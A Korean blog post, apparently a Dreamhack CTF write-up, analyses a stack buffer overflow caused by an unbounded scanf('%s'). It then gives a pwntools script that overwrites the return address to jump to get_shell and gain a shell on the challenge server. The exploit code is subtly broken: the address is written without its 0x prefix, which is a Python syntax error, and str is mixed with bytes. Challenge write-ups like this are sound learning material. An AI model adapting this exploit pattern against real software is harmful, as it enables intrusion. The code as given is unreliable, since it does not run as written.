상세 컨텐츠

본문 제목

[Dreamhack] Return Address Overwrite

SYSTEM HACKING/Dreamhack

by koharin 2024. 3. 1. 21:42

본문

728x90
반응형

취약점 분석(정적 분석)

IDA로 디스어셈블 하여 스도코드 확인

int __fastcall main(int argc, const char **argv, const char **envp)
{
  char v4[48]; // [rsp+0h] [rbp-30h] BYREF

  init(argc, argv, envp);
  printf("Input: ");
  __isoc99_scanf("%s", v4);
  return 0;
}

스택 구조가 |v4(0x30|SFP(0x8)|RET(0x8)| 이렇게 되고, scanf함수로 입력받으므로 길이 검사를 하지 않아 BOF 취약점이 발생한다.

따라서 0x30+0x8만큼 더미 값을 준 후 이후에 get_shell 함수 주소를 주면 쉘을 얻을 수 있다.

PIE가 없어서 get_shell 함수 주소도 IDA로 그냥 확인된다.

 

Exploit 코드

#!/usr/bin/python3
from pwn import *

context.log_level = 'debug'
p = remote('host3.dreamhack.games', 19902)

pay = 'A'*0x30 + 'B'*0x8 + p64(4006AA)

p.sendafter('Input: ', pay)

p.interactive()

728x90
반응형

'SYSTEM HACKING > Dreamhack' 카테고리의 다른 글

[Dreamhack] Firmware Extraction Practice  (0) 2024.03.05
[Dreamhack] Return to Shellcode  (0) 2024.03.03
[Dreamhack] off_by_one_001  (0) 2024.02.19
[Dreamhack] bof  (0) 2024.02.16
[Dreamhack] pwn-library  (0) 2024.01.10

관련글 더보기